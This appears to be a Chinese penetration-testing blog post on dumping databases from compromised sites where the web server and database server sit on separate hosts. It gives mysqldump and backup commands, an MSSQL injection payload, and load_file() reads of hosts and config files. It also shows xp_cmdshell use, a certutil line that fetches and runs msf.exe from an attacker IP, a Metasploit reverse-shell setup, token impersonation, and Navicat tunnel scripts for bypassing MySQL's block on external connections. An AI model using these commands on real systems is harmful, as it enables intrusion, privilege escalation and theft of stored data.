脱库站库分离渗透解决MySQL禁止外连
文章目录
- 打包数据库文件
- SQL语句打包数据库
- MySQL
- SQL server
- 使用工具打包数据库
- 站库分离渗透
- 站库分离判断方法
- 站库分离利用思路
- 推荐阅读
- 站库分离打包数据库
- 解决MySQL禁止外连
- 蚁剑
- Navicat tunnel隧道
打包数据库文件
access 数据库:mdb格式直接下载
MySQL数据库:在路径mysql/data/下存放所有数据库,直接将文件夹复制到web目录tar打包下载
mssql数据库:msdbdata.mdf msdblog.ldf 两个文件复制,直接下载
SQL语句打包数据库
MySQL
登录数据库,命令备份数据库
mysqldump -u db_user -p db_passwd db_name > 1.sql //备份指定数据库
cd /var/lib/mysql
mysqldump -u db_user -p db_passwd > 1.sql //先进入数据库目录再备份
mysqldump --all-databases > 1.sql //备份所有数据库
数据库还原
mysql -u db_user -p db_passwd db_name < 1.sql //还原指定数据库
cd /var/lib/mysql
mysql -u db_user db_passwd < 1.sql //先进入数据库目录再还原
mysqldump 命令不仅可以在数据中使用,有权限的话也可以在命令行中使用
SQL server
登录数据库
backup database Test to disk='D:/Test.bak'
使用工具打包数据库
如果在知道数据库账密的情况下可以使用这种方式,存在web端数据管理直接用
mysql
- adminer
- phpmyadmin
- navformysql
mssql
- navfor for sql server
navicat 也是可以的
以及webshell管理工具如蚁剑、菜刀等都有数据管理功能
站库分离渗透
注:此部分转载于潇湘信安
站库分离其实就是管理员将网站程序和数据库分别放在了不同的服务器上,这样看似提高了数据安全性,但是如果网站存在漏洞,攻击者还是有可能以Web或Data为入口访问到内网数据库服务器中的数据
Web入口渗透
通过网站的各种漏洞来Getshell,如:文件上传、文件包含、命令执行、代码执行、SQL注入写入一句话(Into outfile、日志备份)等,在获得Webshell权限或者有诸如文件读取等漏洞时,我们可以读数据库配置文件、对数据库内容分析、查找数据库备份,进而对内网数据库服务器进行渗透
Data入口渗透
从数据库入口渗透同样是为了获取更大的权限,或者扩展我们的渗透成果。比如从这台数据库服务器中可以得到网站和数据库的一些用户、密码等信息,在后续的内网渗透中可以很有效的帮助我们
通过外网暴露的数据库弱口令、反编译或嗅探C/S客户端以及Web网站SQL注入漏洞等,在获得数据库账户密码或者利用sqlmap进入到os-shell、sql-shell,这时我们不能写入Webshel,因为这台数据库服务器中没有Web环境,但可以通过以下方式来做信息搜集和获取权限,先拿到这台数据库服务器权限,然后再尝试对Web服务器和内网其他主机进行渗透
站库分离判断方法
1.网络连接状态
通过Netstat命令查看MSSQL数据库1433端口的网络连接状态,可以看到与当前MSSQL数据库服务器192.168.32.8建立连接的只有192.168.32.3,由此可以判断这台主机为Web服务器
netstat -ano | findstr "1433"
2.数据库配置文件
通过网站程序数据库配置文件来判断是否站库分离,如果数据库IP地址是localhost、127.0.0.1或当前主机内网IP则说明为同服务器,反之则可能为站库分离,自建公网数据库和RDS云数据库除外
3.MySQL内置函数和库
通过MySQL的@@hostname内置函数可以查看服务端主机名称,information_schema内置库的PROCESSLIST可以定位到当前已连接数据库的用户名、主机和端口号等信息,Windows连接格式:主机名:Port,Linux连接格式:IP:Port,本地连接格式:localhost:Port
select @@hostname; //服务端主机名称
select * from information_schema.PROCESSLIST; //客户端主机名称和端口
也可以通过load_file()这个内置函数读取一些敏感文件,如:hosts文件中解析的一些内网业务的IP地址和域名,IIS/Apache/Nginx/Tomcat/Jboss/Weblogic/Websphere的相关配置文件以及网卡信息等
select load_file('C:/Windows/System32/drivers/etc/hosts');/etc/hosts
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
/etc/udev/rules.d/70-persistent-net.rules //获取网卡名称
/etc/network/interfaces //DHCP或静态IP
/var/lib/dhclient/dhclient--网卡.lease //DHCP
/etc/sysconfig/network-scripts/ifcfg-网卡 //静态IP
C:/Windows/System32/drivers/etc/hosts
C:/Windows/system32/inetsrv/MetaBase.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/phpStudy/Apache/conf/httpd.conf
C:/phpStudy/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/Apache/conf/httpd.conf
C:/phpStudy/PHPTutorial/Apache/conf/vhosts.conf
C:/phpStudy/PHPTutorial/nginx/conf/nginx.conf
C:/phpStudy/PHPTutorial/nginx/conf/vhosts.conf
[...SNIP...]
4.MSSQL内置函数和表
通过MSSQL的host_name()、@@servername和serverproperty几个内置函数来判断是否站库分离,如果客户端与服务端返回的主机名不一样则说明为站库分离,返回的主机名一样则说明可能为同服务器
select host_name(); //客户端主机名称
select @@servername; //服务端主机名称
select serverproperty('MachineName'); //服务端主机名称
也可以通过MSSQL的sysprocesses系统表来判断是否站库分离,它的功能类似于MySQL中的PROCESSLIST,可以定位到当前已连接到sqlinject数据库的用户名和主机名等信息
有时会有内网多台Web服务器同时连接一台数据库服务器中的不同数据库,这时我们就可以利用这种方式来查看连接到某数据库的用户名和主机名等信息,然后使用Ping主机名得到这台Web服务器的内网IP地址
select name from master.sys.sysdatabases;
select * from master.sys.sysprocesses where dbid= db_id('sqlinject');
exec master..xp_cmdshell 'cmd /c ping WIN-111111111';
还可以直接通过以下MSSQL注入语句来判断是否站库分离,news必须为数据库中存在的表名,当然用其他存在的表名也是可以的,如果注入页面返回不正常则说明为站库分离,反之则为同服务器
and exists(select * from news where 1=(SELECT (case when host_name()=@@servername then 1 else 0 end)))
站库分离利用思路
1.下载远程文件
目标主机允许通外网时我们可以利用Vbs/Ftp/IPC$/Certutil/Bitsadmin/Powershell等方式来下载远程文件到可读写目录中,然后再去执行一下即可
certutil -urlcache -split -f http://155.**.***.229:8888/msf.exe C:ProgramDatamsf.exe
C:ProgramDatamsf.exe
2.执行远程Payload
目标主机允许通外网时我们可以直接利用Metasploit下的exploit/multi/script/web_delivery和exploit/windows/misc/hta_server两个模块来执行远程Payload获取会话,比第一种方法更简单快捷
set target 1
set payload windows/x64/meterpreter/reverse_tcp
set lhost 155.**.***.229
set lport 443
exploit
3.模拟令牌权限提升
笔者曾经在几个这样的“MSSQL站库分离”实战环境中直接通过Incognito扩展中的模拟令牌功能获取到数据库服务器的Admin/SYSTEM令牌
在本地“站库分离”靶场环境中测试发现,只要有主机在使用Windows身份验证连接到这台数据库服务器的MSSQL时就会保留当前登录用户的令牌,而大多数人又都是以默认Administrator管理员来安装的MSSQL,所以能够直接获取到Administrator令牌
支持Windows身份验证的数据库连接工具有:sqlcmd、SSMS和Navicat Premium等
C:Program FilesMicrosoft SQL Server100ToolsBinnsqlcmd.exe -S "192.168.1.109" -E
推荐阅读
- https://xz.aliyun.com/t/8584
站库分离打包数据库
MySQL
站库分离情况下,MySQL数据库是一定支持外部访问的
使用webshell管理工具如蚁剑、菜刀等都有数据管理功能,以及使用数据库管理工具打包
SQL server
使用webshell管理工具如蚁剑、菜刀等都有数据管理功能
解决MySQL禁止外连
蚁剑
在地址上右击选择数据操作
点击左侧工具栏的添加按钮,连接字符串就是index.aspx文件泄露的
Navicat tunnel隧道
目标 MySQL 不允许外连,但是可以上传 PHP 脚本:
这个时候可以使用 Navicat 自带的 tunnel 隧道脚本上传到目标网站上:
实际上 Navicat 很久很久以前就自带这些脚本了,这个脚本有点类似于 reGeorg,只是官方的脚本用起来更舒服方便一点,脚本的界面如下:
如下:
接着连接的时候设置 HTTP 通道:
这个时候主机地址填写 localhost 即可:
脱库站库分离渗透解决MySQL禁止外连相关推荐
- 解决MySQL删除外键时报错Error Code: 1091. Can‘t DROP ‘XXX‘; check that column/key exists
解决MySQL删除外键时报错Error Code: 1091. Can't DROP 'XXX'; check that column/key exists 长期不写基础的 MySQL 代码,笔者 ...
- 【MySQL】解决MySQL删除外键(foreign key)时报错问题
[MySQL]解决MySQL删除外键(foreign key)时报错问题 文章目录 [MySQL]解决MySQL删除外键(foreign key)时报错问题 一.现象 二.分析 三.问题解决 四.拓展 ...
- mysql 从库跳过1062_3分钟解决MySQL 1062 主从错误
1062错误----主键冲突,出现这种情况就是从库出现插入操作,主库又重新来了一遍,iothread没问题,sqlthread出错 解决方案:mysql> stop slave; mysql&g ...
- 解决MySQL删除外键时报错
错误描述: 1.用NaviCat删除外键时报错. 截图: 2.直接使用命令删除: alert table _testinfo drop foreign key detailid 错误信息: 1025 ...
- 关于站库分离渗透思路总结
0x00 前言 看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧. 0x01 正文 关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路. ...
- 关于站库分离渗透思考总结
0x00 前言 看到了某篇关于站库分离类型站点相关的讨论,想总结下信息收集的技巧. 0x01 正文 关于站库分离类型站点网上暂时没有找到总结性的文章,所以想尝试记录下关于站库分离类型站点的渗透思路. ...
- golang github.com/go-sql-driver/mysql 遇到的数据库,设置库设计不合理的解决方法
golang github.com/go-sql-driver/mysql 遇到的数据库,设置库设计不合理的解决方法,查询中报了以下这个错 Scan error on column index 2: ...
- mysql库的user表误删除或mysql的管理员密码丢失的解决方法
mysql库的user表误删除或mysql的管理员密码丢失的解决方法 参考文章: (1)mysql库的user表误删除或mysql的管理员密码丢失的解决方法 (2)https://www.cnblog ...
- 判断web网站是否站库分离
#注:此方法是针对已经获得一定的权限,如SQL查询,或者shell命令行(cmd.bash等) (1)查询web服务器名 LENOVO-GH*****---select @@servername; ( ...
- kettle4.1 连接 mysql8 库异常:org.gjt.mm.mysql.Driver
问题描述: mysql版本:8.0.16 kettle版本:4.1 使用kettle4.1 连接 mysql8 库异常:org.gjt.mm.mysql.Driver 默认mysql驱动版本:mysq ...
最新文章
- tf.assign()函数简单解释
- MicroPython开发板:TPYBoard v102 播放音乐实例
- 利用微软平台生成报表,线性图,柱形图
- 【收集】程序员资源大全
- 重磅!“东方理工大学”来了!
- 摘得“2019最佳智能手机”大奖的华为P30系列究竟比iPhone XS系列强在哪
- TokenInsight:BTC新增人气缺乏,多头持仓量持续上升
- Python 一个无限 重复生成器的实现 和一个简洁的 quicksort
- matlab箭头梯度方向场,局部路径规划算法——人工势场法
- 面向电缆行业的高级计划与排程(商简SPS)解决方案
- ubuntu显卡驱动掉了重新装
- MATLAB 结构矩阵和单元矩阵
- 用vb程序设计输出100以内素数和
- 计算机怎么打出$符号,细说电脑上怎么打出特殊符号
- Windows+Anaconda+tensorflow+keras深度学习框架搭建--reproduced
- 什么是CUSDEC 报关单?
- 信息融合之Add与Concat,你了解它们吗?
- vue项目中如何引入阿里矢量图
- 微信小程序实现滚动吸顶
- 十周年探路云计算 亚马逊引领风向标